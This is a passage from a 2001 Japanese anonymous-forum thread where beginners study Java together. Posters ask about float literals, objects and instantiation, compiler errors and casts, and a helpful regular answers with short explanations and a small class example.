　　　　　　./　 /　　　＼＿＿＿＿＿＿＿＿＿＿＿＿＿
　　　　　　〈　（
　　　　 .∫ヽ__）
　　　＿＿ .U U＿＿
　　/　　　　 ―　― |
　　| 　　　　-　　- |
　　| (6　　　　　　>　|
　　｜　　　 ┏━┓|　　／￣￣￣￣￣￣￣￣
　　 | 　　　　┃─┃|　＜　小数にはFかfをつけないとfloat型と認識しねえんだぜ
　　 | 　＼　┃　 ┃/　　＼＿＿＿＿＿＿＿＿
　　 |　　　　￣　￣|

640 ：ワサモ＠実況終了：01/10/31 04:23 ID:g/qBnZe3

以上、生中継でお送りしました。

提供：翔泳社

641 ：シンボルを解釈処理できません：01/10/31 04:26 ID:3y6o+wTo

まぁ、だいたいOKだと、"僕は"思います。

あとは、赤ペン◎先生の添削を待つだけだね。

検索したら、こんなの出た。
ttp://isweb4.infoseek.co.jp/computer/teikinou/javatext/java003.html
ここの「定数」のところな。

642 ：ワサモ：01/10/31 04:34 ID:g/qBnZe3

いい感じになってきましたが、残念ながら今日はここまで。もう寝ます。
続きは明日（たぶん）。さよならあぁ

…明日になったらこのスレが消えてたりして…（ｗ

643 ：◎：01/10/31 19:23 ID:OzZ9cQNm

私もよいと思います、頑張って下さいネ。

Javaは比較的、型付けが強い言語です。
いちいち型を意識するのは面倒かもしれませんが、
コンパイル時にうっかりミスを検出できるので
実行時のバグを出しにくい利点があるのですよ。

644 ：Java厨房：01/11/02 04:41 ID:w3Ooy2Ae

先生！質問です

32bitと64bitは、なにが違うんですか？

645 ：.：01/11/02 08:37 ID:5d64h8LM

>644
見た通り bit の数。ってか Java と関係ないし。

646 ：◎：01/11/02 23:32 ID:VBsB7UiR

>>644
こんなページでよいですか？
http://www.mars.dti.ne.jp/~torao/program/introduction/hardware.html

647 ：ノースマン：01/11/03 01:51 ID:if/TZkk+

いつもいつも◎さんの適切なご指導
には感謝しております。

648 ：Java厨房：01/11/03 21:00 ID:lSgZJGze

>>646
先生！ありがとうございました。

649 ：Java厨房：01/11/03 22:42 ID:cyB5geaY

>>646
先生！そのHP全部読みました。
とってもためになりました。ありがとう。

650 ：◎：01/11/03 23:18 ID:OwNUI3Fr

>>647　これからもよろしくお願いしますネ。
>>649　そうですかリンクしてよかったです、というか◎でよいですよ(w

651 ：age：01/11/07 00:29 ID:NFoi6xEN

age

652 ：ななしさん＠おなかいっぱい：01/11/09 22:28 ID:zEmypWf/

>>22
おれ今日はじめてこの板来たんだけどそれたまたま作ってるよ。
今年中の完成が目標なんだけどできるかどうかわからない。
完成したらどっかにあっぷします。

653 ：：01/11/11 00:00 ID:dFYKrssT

　　　　　　　　Javaワッショイ！！
　　　　　＼＼　 Linuxワッショイ！！　／／
　+　　　+　＼＼　WinXP+C#よりもLinux+Javaワッショイ！！／+
　　　　　　　　　　　　　　　　　　　　　　　　　　　　+
.　　　+　　／■＼　　／■＼／■＼　　+
　　　　　　（　´∀｀∩（´∀｀∩）（　´∀｀）
　+　　（(　（つ　　　ノ（つ　　丿（つ　　つ　)）　　+
　　　　　　ヽ　（　ノ　（　ヽノ　　）　）　）
　　　　　　　（＿）し'　し（＿）　（＿）＿）

654 ：いいや書いちまえ：01/11/11 00:50 ID:KVUyGiSz

というカキコをWindowsから行う653であった
ってここダメ板だったか

655 ：653：01/11/11 01:32 ID:dFYKrssT

M＄信者なのはWindowsMeまでです。
WindowsXPは買わない。
Linuxマンセー！

656 ：＿：01/11/11 02:03 ID:R5l3h1tv

素朴な質問なんですが、＜a href＞などのネットで一般的に使われ
ているタグも、一種のプログラミング言語なんですか？

657 ：なな：01/11/11 02:22 ID:KHwgusmv

プログラムではないけど言語。

658 ：＿：01/11/11 02:34 ID:R5l3h1tv

プログラミング言語はいろいろ種類あるのに、タグは何で統一されてるの？

659 ：：01/11/11 02:55 ID:1oSZ8F9v

されてないべよ

660 ：name.equals("nanashi")：01/11/11 05:25 ID:bB1DyCO3

統一されてる、されてない以前に、根本の部分で間違ってない？
よくわからんけど。

「タグ」は言語じゃないでしょ。

そういう意味じゃなかったとしても、HTMLだけがマークアップ言語ではないと思われるので、やっぱ間違ってると思う。

HTMLには「繰り返し処理」がないから、プログラミング言語ではない。
という理屈をなんかの本で読んだ気がするが、個人的にはこれ違うと思う。

661 ：フォン・ブラ雲：01/11/11 06:12 ID:El9tAUko

すごい遅スレですね・・・でも、皆さん頑張ってください。応援してます。

662 ：Java厨房：01/11/11 12:58 ID:K34OPQZp

◎先生！質問です。
オブジェクトってなんですか？
うんこさんが買った、「やさしいJava」を立読みしても分かりませんでした。

おいらのレベルは、継承を覚えた程度のレベルです。

663 ：Java厨房：01/11/11 16:17 ID:xLJzlHkN

いままで、オブジェクトは何となく遣ってました。

664 ：：01/11/11 18:33 ID:KcHNNYhT

オブジェクトは何となくで良い
使うだけなら完全な理解は要らない
人に説明できるまでに理解を深めるのは俺には一生無理かも知れんなあ

665 ：ワサモ：01/11/12 23:35 ID:DbICe/73

"t1 = System.currentTimeMills();"

と、間違って入力した後コンパイルすると
「System.」の"."に印がついてエラーメッセージが出ました。

(正しくは　"System.currentTimeMillis")
　　　　　　　　　　　　　　　　　　^
「Mills」が指摘されず、ドットが指摘されたというのが謎。

666 ：ワサモ：01/11/12 23:37 ID:DbICe/73

また^間違えた…
スペースの使い方ってムズイね。

667 ：　：01/11/12 23:43 ID:G66LqeOq

>>665
そういうメソッドはSystemには無いよ、って意味で
ドットを指摘するのでは

668 ：いっぽ：01/11/13 01:43 ID:4UOkEdxh

僕も参加します.
今の所「独習java」の1章を読んでます.
まずみなさんに追いつけるよう頑張ります.
よろしくお願いします.

669 ：◎：01/11/14 01:10 ID:6RaMcg4e

>>656
手続きを記したものではないので「プログラム」ではないと思いますヨ。

>>662
オブジェクト指向のオブジェクトは状態と振る舞いを持った何らかの実体を指します。
たとえばテレビは今のチャンネルという状態とチャンネルを変更という振る舞いを持っていますよね。
Javaでは状態をインスタンス変数、振る舞いはメソッドで表します。
class TV {
　　int channel;
　　int setChannel(int channel) {
　　　　this.channel = channel;
　　}
}
このTVクラスのインスタンス（コンピュータのメモリ上にある実体）一つ一つがオブジェクトです。
でも私も今は何となくでよいと思いますよ。

>>665
>667さんがおっしゃった通り
Class.method();
の「method()」が見つかりませんよという意味ですネ。

>>668
頑張って下さい。

670 ：ノースマン：01/11/14 03:09 ID:HSQ7LdPI

>>662(オブジェクトってなんですか？)
オブジェクト志向についてはこれは私も未だ、
きちんと理解できていませんが、なんとなく大きな建築工事現場に似ているかな？
とか思っていました。
電卓のプログラム＝マンション工事現場；
とすると
電卓の形を表示するプログラム＝物品納入業者
入力するプログラム　　　　　＝基礎工事業者　　　　
計算するプログラム　　　　　＝本体工事業者
表示するプログラム　　　　　＝仕上げ工事業者
（実際はもっと細かい）
チョット強引ですがこう考えて頂きますと、
実際、現場を仕上げるには業者を決めて現場に連れてこなくてはなりません。
ＪＡＶＡではそのことをインスタンス化すると言っている様です。
ＪＡＶＡではｎｅｗと言う言葉を使ってインスタンス化するらしいですが
そのまま建築屋に当てはめると・・・・・
仕上業者　(有)山田仕上工業　＝　ｎｅｗ　仕上業者（　）；
これで、(有)山田仕上工業さんが現場に来てくれて仕上工事をやってくれます。
この現場に来てくれた山田さんのことをＪＡＶＡではオブジェクトと
言っているみたいです。
（仕上業者＝ｃｌａｓｓ名、(有)山田仕上工業＝インスタンス名
　現場につれてくる＝パソコンのメモリーに読み込む）
この様に１つの現場に多くの種類の業者さんを呼んで建物を完成させる
のがオブジェクト志向のプログラミングに近いと理解しているのですが
・・・的外れだったらどうしよう・・・・（～～）

671 ：Java厨房：01/11/14 13:47 ID:MefAlQgy

>>◎先生,ノースマン先生,＿先生
先生たち、教えてくれてありがと。
おいらの理解力がないから、理解できなかった。ｽﾏｿ

672 ：ノースマン：01/11/14 23:53 ID:3U9A9y3b

＞＞６７１さん
人の作ったプログラム、をちょっとづづ改造したりしていると、
そのうち、なんとなく、分ってくると思いますよ。
私も、勉強中ですので一緒に頑張りましょう！！

673 ：ぽてちん：01/11/15 00:10 ID:qXBp5r/H

ジャヴァは何ができますか？
自分のイメージだとHPをちょっといじくる事しか思い浮かばないんすけど。

674 ：いっぽ：01/11/15 07:39 ID:Ai3ayxpB

Integer(Sring s) Integerコンストラクタ
Integer.decode(String s) 静的メソッド
Integer.valueOf(String s) 同上

同じ働きをする物が3つもあるよ(；´Д｀)

675 ：◎：01/11/16 14:14 ID:50r9ojWG

>>670
>　現場につれてくる＝パソコンのメモリーに読み込む）
ここは「メモリーを確保する」の方が良いかもしれません。

>この様に１つの現場に多くの種類の業者さんを呼んで建物を完成させる
業者（オブジェクト）の責任が明確なのが良いですよね。

>>671
そんなこと無いス、今はnewしてメソッドが呼び出せたら十分だと思います。

>>673
Javaはアプレットのほかにも他のプログラミング言語で出来るようなことが出来ますヨ。

>>674
１０進数の文字列ではそう見えますが１６進数や２進数などを扱おうとすると
違いが見えてくると思います。

676 ：じゃばじゃば：01/11/17 00:08 ID:9B59SqEN

SunのJAVA認定資格ってむずかしいのかな？

677 ：深海魚：01/11/17 00:29 ID:b1xRc9H3

statementがイマイチわからないっす。

678 ：シンボルを解釈処理できません：01/11/17 03:34 ID:virPKf2D

>676
vendor試験なんて受けたことが無い僕が語るのもおかしいけど・・・
なんとなくで眺受けめてるvendor試験のMLによると、今年の夏あたりから試験の傾向が変ったんだってさ。

昔みたいに
iStudyと全く同じ問題が出るから、iStudyと独習Javaやってりゃｳﾏｰ
なんて原付免許取得みたいな事が無くなったらしい。全く違う問題が出てたって。

難易度は上がって、それに伴い合格ラインが70%から60%に下がったとかなんとか。
ま、なんだかんだ言っても基本は同じらしいから、ちゃんとお勉強してればなんとかなるらしい。

傾向が変っても、ただ全く同じ問題が出ないってだけで、iStudyは有効らしいし、これからiStudy側も修正を加えていくだろうし。
あ、スレッド系が多数出題って話もちょっと小耳に挟んだ。

て、受けた事も無いのに聞きかじりの情報を流してごめんなさい。

僕も気が向いたらてみようとか思ってるから、受けたら感想とか欲しい気がするけど、まぁそういうのはこのスレらしくないから別にいいか・・・

679 ：じゃばじゃば：01/11/17 09:50 ID:9B59SqEN

>678
貴重な情報、ありがとうございます。
やっぱりiStudyは有効みたいですね。
難易度が上がったとのことなので基本から勉強したいと思います…。

680 ：ノースマン：01/11/19 02:33 ID:wLwPjK/q

>>◎
(>>670)
＞　現場につれてくる＝パソコンのメモリーに読み込む）
＞こは「メモリーを確保する」の方が良いかもしれません
ご指摘有難うございます。
実は、ぶっちゃけ私は、建築学科出身でコンピューターの基礎がイマイチ
分かっておりません。
う～ん、難しい・・・

681 ：Java厨房：01/11/22 05:45 ID:RbVrq9eG

◎先生！質問です。

HSPは、画像のサイズが４の倍数じゃなきゃ、うまく表示できません。
４の倍数じゃなきゃ読み込めないのは、高速化のためです。と書いてますが
なんで、４の倍数だったら高速になるんですか？

682 ：：01/11/22 08:54 ID:cKteaZ27

ずーとるび＝ぷーみん

683 ：いっぽ：01/11/22 14:49 ID:QH/SHHqQ

>>190
>
> public class AssignmentProblem {
>
> public static void main(String args[]) {
> byte b1 = 1;
> byte b2 = 2;
> int b3 = b1 * b2;
> System.out.println(b3);
> }
> }
> 掛け算すると　int型じゃないと受け入れないのかな～。
> これで通ったけど。
byte b3 = (byte)(b1 * b2);で通りましたよ.
b1 * b2に括弧をつけないとbyteはb1だけにかかるのかな.

684 ：いっぽ：01/11/22 14:51 ID:QH/SHHqQ

あ,>>199で出てましたね.
失礼.

685 ：◎：01/11/24 08:22 ID:F9avltoD

>>681
ＨＳＰはよく分からないです、ごめんなさい。
ただコンピュータは２の倍数と相性が良いのですよ。
たとえば乗除算の替わりにシフト命令を使って
２のｎ乗による乗除算を高速化出来ます。